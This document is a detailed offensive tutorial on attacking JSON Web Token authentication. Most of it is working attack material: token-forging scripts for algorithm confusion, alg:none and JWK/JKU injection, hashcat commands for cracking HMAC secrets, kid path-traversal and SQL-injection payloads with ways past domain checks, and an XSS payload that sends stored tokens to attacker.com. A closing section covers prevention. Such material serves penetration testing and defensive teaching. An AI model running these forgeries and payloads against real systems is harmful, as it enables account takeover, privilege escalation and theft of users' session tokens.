1. JWT Structure (Attack-Oriented)

A JWT is three base64url segments separated by dots: header.payload.signature. None of these are encrypted by default — only the signature enforces integrity. The server validates the signature using a key derived from the algorithm specified in the header — which is exactly the attack surface.

# Decode header + payload (no key needed — public data)
echo 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d
# {"alg":"RS256","typ":"JWT"}

echo 'eyJ1c2VyIjoibWFzYWFraSIsInJvbGUiOiJ1c2VyIn0' | base64 -d
# {"user":"masaaki","role":"user"}

# Goal: change role to "admin" and produce a valid signature

2. Algorithm Confusion: RS256 → HS256

This is the most impactful JWT attack class. RS256 signs with a private RSA key and verifies with a public key. HS256 signs and verifies with the same symmetric secret. Some libraries allow the algorithm to be specified in the token header and, critically, will use whatever is provided.

The attack: force the server into HS256 mode and use the server's own public key as the HS256 secret. Public keys are not secret — they're often fetched from /.well-known/jwks.json, /api/v1/keys, or embedded in TLS certificates.

Step-by-Step Exploit

  1. Obtain the server's RSA public key from its JWKS endpoint or by extracting it from an existing token's header.
  2. Craft a new token with "alg":"HS256" in the header and escalated claims in the payload.
  3. Sign the new token using the RSA public key bytes as the HMAC-SHA256 secret.
  4. Send the forged token — the server verifies it as HS256 using the same public key bytes, and the signature matches.
# Step 1: Fetch the public key from JWKS endpoint
curl https://target.example.com/.well-known/jwks.json | python3 -c "
import json,sys,base64
jwks=json.load(sys.stdin)
key=jwks['keys'][0]
# For RSA, reconstruct PEM from n and e
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
n=int.from_bytes(base64.urlsafe_b64decode(key['n']+'=='),'big')
e=int.from_bytes(base64.urlsafe_b64decode(key['e']+'=='),'big')
pub=rsa.RSAPublicNumbers(e,n).public_key(default_backend())
pem=pub.public_bytes(serialization.Encoding.PEM,
        serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())
" > server_pub.pem

# Step 2 + 3: Forge token with jwt_tool (python)
python3 jwt_tool.py [original_token] -X k -pk server_pub.pem

# Or manually with PyJWT
python3 -c "
import jwt, json
pub_key = open('server_pub.pem','rb').read()
payload = {'user':'masaaki','role':'admin','iat':1700000000,'exp':9999999999}
# Sign with HS256, using public key bytes as secret
token = jwt.encode(payload, pub_key, algorithm='HS256',
                   headers={'alg':'HS256','typ':'JWT'})
print(token)
"

Deliver the forged token:

GET /admin/dashboard HTTP/1.1
Host: target.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibWFzYWFraSIsInJvbGUiOiJhZG1pbiJ9.[hs256_sig]
Root Cause Vulnerable libraries accept the algorithm from the token header rather than configuring it server-side. The fix is always to hardcode the expected algorithm in your JWT verification call, never reading it from the token.

3. Algorithm None — Unsigned Tokens

The JWT specification includes a special value "none" for the alg field, indicating an "unsecured JWT" with no signature. Vulnerable servers that read the algorithm from the token header will skip signature verification entirely and accept any token with alg:none.

# Original header
{"alg":"RS256","typ":"JWT"}

# Attack header — no signature needed
{"alg":"none","typ":"JWT"}

Crafting the token (a signature segment is optional — an empty string or absent):

python3 -c "
import base64, json

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b64url(json.dumps({'alg':'none','typ':'JWT'}))
payload = b64url(json.dumps({'user':'masaaki','role':'admin','exp':9999999999}))

# Signature segment empty — just a trailing dot
token = f'{header}.{payload}.'
print(token)
"

# Some servers also accept capitalised variants — try all
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

jwt_tool has a built-in tamper mode for this:

python3 jwt_tool.py [token] -X a
# -X a = exploit "alg:none"
# Outputs tokens with none, None, NONE, nOnE variants

4. Weak HMAC Secret — Brute Force

HS256/HS384/HS512 tokens are signed with a symmetric secret. If that secret is short, dictionary-based, or a default value, it can be cracked offline. The entire token is needed — the signature is computed over header.payload so you need real tokens from the target.

Cracking with hashcat

# Extract the token and put it in a file
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibWFzYWFraSIsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' > jwt.txt

# hashcat mode 16500 = JWT HS256/384/512
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# With rules for common patterns (append year, append !, etc.)
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force short secrets (<= 8 chars, all printable)
hashcat -a 3 -m 16500 jwt.txt -1 '?l?u?d!@#$%^&*()' '?1?1?1?1?1?1?1?1'

# Once cracked, forge a new token
python3 -c "
import jwt
secret = 'supersecret'
token = jwt.encode({'user':'masaaki','role':'admin','exp':9999999999},
                   secret, algorithm='HS256')
print(token)
"

Cracking with jwt_tool

# Dictionary attack
python3 jwt_tool.py [token] -C -d /usr/share/wordlists/rockyou.txt

# Output on success
# [+] Found secret: mysecretkey123
# [+] You can now forge tokens with this key
Common Default Secrets to Try First secret, password, jwt_secret, your-256-bit-secret, changeme, development, test, and any value found in the application's source code, README, or environment variable examples in the repository.

5. JWK Header Injection — Self-Signed Key

The jwk header parameter allows embedding a JSON Web Key directly inside the token header. The intended use is for key discovery in certain federation protocols. The attack: embed your own self-generated key in the header, sign the token with that key's private component, and let the server verify against the embedded public key.

Exploit with jwt_tool

# jwt_tool will generate a new RSA keypair, embed the public key as jwk,
# and sign the token with the private key
python3 jwt_tool.py [original_token] -X i

# Result: a token with a header like:
# {
#   "alg": "RS256",
#   "typ": "JWT",
#   "jwk": {
#     "kty": "RSA",
#     "e": "AQAB",
#     "kid": "attacker-key-1",
#     "n": "[attacker's public modulus]"
#   }
# }

Manual Construction

python3 -c "
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
import jwt, json, base64

# Generate RSA keypair
private_key = rsa.generate_private_key(
    public_exponent=65537, key_size=2048, backend=default_backend())
public_key  = private_key.public_key()
pub_numbers = public_key.public_key().public_numbers()

def int_to_b64url(n):
    length = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(length,'big')).rstrip(b'=').decode()

jwk = {
    'kty': 'RSA',
    'e': int_to_b64url(pub_numbers.e),
    'n': int_to_b64url(pub_numbers.n),
    'kid': 'attacker-key-1'
}

headers  = {'alg':'RS256','typ':'JWT','jwk': jwk}
payload  = {'user':'masaaki','role':'admin','exp':9999999999}
token    = jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
print(token)
"

6. JKU Header Injection — Attacker-Controlled JWKS

The jku (JSON Web Key Set URL) header points to a remote endpoint where the server should fetch the verification key. If the server follows this URL without validating that it points to a trusted domain, you can point it to an attacker-controlled JWKS and have the server verify your self-signed token.

Setting Up the Attack

  1. Generate a new RSA keypair (attacker-controlled).
  2. Host the corresponding public key as a JWKS JSON document on an attacker server (or Burp Collaborator).
  3. Craft a JWT with "jku": "https://attacker.com/jwks.json" in the header.
  4. Sign the JWT with your private key.
  5. The server fetches your JWKS, finds the matching kid, and verifies the signature — which passes.
# Host this at https://attacker.com/jwks.json
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "attacker-key-1",
      "use": "sig",
      "alg": "RS256",
      "n":   "[attacker RSA modulus base64url]",
      "e":   "AQAB"
    }
  ]
}
# Forge token with jku pointing to attacker server
python3 jwt_tool.py [original_token] -X s -ju 'https://attacker.com/jwks.json'

Bypass Techniques When the Server Restricts jku Domains

# URL confusion — if server checks only the domain prefix
"jku": "https://[email protected]/jwks.json"
"jku": "https://trusted.example.com.attacker.com/jwks.json"

# Path traversal through a redirect
"jku": "https://trusted.example.com/redirect?url=https://attacker.com/jwks.json"

# Fragment bypass (only path checked)
"jku": "https://trusted.example.com/static/../../../attacker.com/jwks.json"

7. kid Parameter Path Traversal

The kid (key ID) header parameter tells the server which key to use for verification. Some implementations use the kid value directly as a filesystem path or database identifier. Path traversal in the kid value can force the server to load an attacker-controlled or predictable file as the verification key.

Forcing /dev/null as the Key

On Linux, /dev/null reads as an empty byte string. If you can make the server load /dev/null as the HMAC secret, you can forge HS256 tokens signed with an empty string:

# Set kid to path traversal reaching /dev/null
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../../../dev/null"
}

# Forge token signed with empty string
python3 -c "
import jwt
payload = {'user':'masaaki','role':'admin','exp':9999999999}
token = jwt.encode(payload, '', algorithm='HS256',
                   headers={'kid':'../../../../../../../dev/null'})
print(token)
"

Using a Known File as the Secret

# If the server reads the kid as a path and signs with file contents:
# /proc/sys/kernel/randomize_va_space  often contains "2" (known value)
# /etc/hostname — if you know the hostname
# Any world-readable file with predictable content

{
  "alg": "HS256",
  "kid": "../../../proc/sys/kernel/randomize_va_space"
}

python3 -c "
import jwt
payload = {'user':'masaaki','role':'admin'}
# Sign with the known file content
token = jwt.encode(payload, '2', algorithm='HS256',
                   headers={'kid':'../../../proc/sys/kernel/randomize_va_space'})
print(token)
"

8. kid SQL Injection

If the server uses the kid value in a SQL query to retrieve the key from a database (e.g., SELECT key FROM keys WHERE id = '[kid]'), the kid field becomes an SQL injection point. The attack forces the query to return a known, attacker-controlled string as the signing key.

# kid SQL injection — force query to return 'attacker-secret'
{
  "alg": "HS256",
  "kid": "' UNION SELECT 'attacker-secret'-- -"
}

# The resulting SQL becomes:
# SELECT key FROM keys WHERE id = '' UNION SELECT 'attacker-secret'-- -'
# Returns: 'attacker-secret'

# Now forge a token signed with 'attacker-secret'
python3 -c "
import jwt
kid_payload = \"' UNION SELECT 'attacker-secret'-- -\"
payload = {'user': 'masaaki', 'role': 'admin', 'exp': 9999999999}
token = jwt.encode(payload, 'attacker-secret', algorithm='HS256',
                   headers={'kid': kid_payload})
print(token)
"

Variations by Database

# MySQL / MariaDB
"' UNION SELECT 'attacker-secret'-- -"

# PostgreSQL
"' UNION SELECT 'attacker-secret'::text-- -"

# SQLite
"' UNION SELECT 'attacker-secret'--"

# MSSQL
"'; SELECT 'attacker-secret'-- "

# Blind probe (check if SQL errors differ from normal invalid kid)
"' OR '1'='1"
"' OR SLEEP(5)-- -"
Combined Impact kid SQLi is a two-for-one: you get SQL injection (potentially leading to data exfiltration) AND JWT forgery in a single parameter. Always probe kid values for both injection types.

9. Embedded JWK Bypass

Some servers explicitly support the jwk header parameter as a convenience feature for microservices or inter-service authentication, trusting any embedded JWK. This is the same as the JWK injection attack but represents a misconfiguration where the feature was intentionally enabled without an allowlist of trusted keys.

# Complete forged token with embedded JWK — full self-contained attack

# Header (decoded)
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "e":   "AQAB",
    "kid": "masaaki-forge-key",
    "n":   "2VBs0RRMg9_vXpIvegK..."
  }
}

# Payload (decoded)
{
  "user":  "masaaki",
  "role":  "admin",
  "iat":   1700000000,
  "exp":   9999999999
}

# Signature: RS256(header.payload, attacker_private_key)

The key difference from a properly-secured server: a secure implementation will either ignore the jwk header entirely (only using a pre-configured server-side public key), or validate that the embedded key's fingerprint matches a pre-authorized set.


10. Symmetric vs Asymmetric Algorithm Confusion

Beyond the classic RS256→HS256 flip, there are subtler algorithm confusion scenarios worth testing:

AttackTarget AlgorithmForge WithKey Material
RS256 → HS256RSA asymmetricHMAC symmetricRSA public key bytes
ES256 → HS256ECDSA asymmetricHMAC symmetricEC public key bytes (PEM)
RS384 → HS384RSA asymmetricHMAC-SHA384RSA public key bytes
PS256 → HS256RSA-PSS asymmetricHMAC symmetricRSA public key bytes

EdDSA / ECDSA Key Confusion

# Target uses ES256 (ECDSA P-256)
# Fetch EC public key from JWKS, extract PEM
python3 -c "
import jwt, base64
from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey
from cryptography.hazmat.primitives import serialization
# ... (load EC key from JWKS x,y parameters)

# Use PEM bytes as HS256 secret
ec_pub_pem = ec_key.public_bytes(
    serialization.Encoding.PEM,
    serialization.PublicFormat.SubjectPublicKeyInfo)

payload = {'user':'masaaki','role':'admin'}
token   = jwt.encode(payload, ec_pub_pem, algorithm='HS256',
                     headers={'alg':'HS256'})
print(token)
"

11. JWT in Cookies vs localStorage — Security Implications

StorageXSS AccessCSRF RiskHTTPOnlyRecommendation
localStorageYes — localStorage.getItem('token')No (not auto-sent)N/AAvoid for sensitive apps
sessionStorageYesNoN/AAvoid for sensitive apps
Cookie (no flags)Yes via document.cookieYesNoAdd HTTPOnly + SameSite
Cookie (HTTPOnly + Secure + SameSite=Strict)NoMitigatedYesPreferred

XSS Token Theft from localStorage

<!-- Injected XSS payload to steal JWT from localStorage -->
<script>
fetch('https://attacker.com/steal?t=' + localStorage.getItem('jwt_token'));
</script>

<!-- JWT in cookie with HTTPOnly — this fails, token not readable -->
<script>
document.cookie; // HTTPOnly cookies not included
</script>
Hybrid Attack Even with HTTPOnly cookies, a successful XSS can make authenticated requests on behalf of the victim (CSRF-like) by using fetch() with credentials: 'include'. The token itself isn't stolen, but its privilege is abused. Defense: SameSite=Strict cookie attribute.

12. Prevention

Hardcode the Algorithm

Never read the algorithm from the token header. Configure verification with an explicit, fixed algorithm: jwt.verify(token, key, { algorithms: ['RS256'] }).

Reject alg:none Always

Add an explicit check or configure your library to treat alg:none as an error, not a valid algorithm. Most modern libraries do this by default — verify your version.

Ignore jwk / jku Headers

Unless you have a specific federation use case, disable processing of the jwk and jku header parameters. Only trust keys from your own key store.

Validate kid Strictly

Use the kid value only as a lookup key against a pre-loaded key dictionary. Never pass it to a filesystem path resolver or SQL query without strict sanitization.

Use Strong Secrets

HMAC secrets for HS256 must be at least 256 bits of cryptographically random data. Never use passwords, phrases, or values from documentation as secrets.

Short Expiry + Rotation

Keep exp short (15 min for access tokens). Rotate signing keys on a schedule and invalidate old keys. Use a refresh token pattern for longer sessions.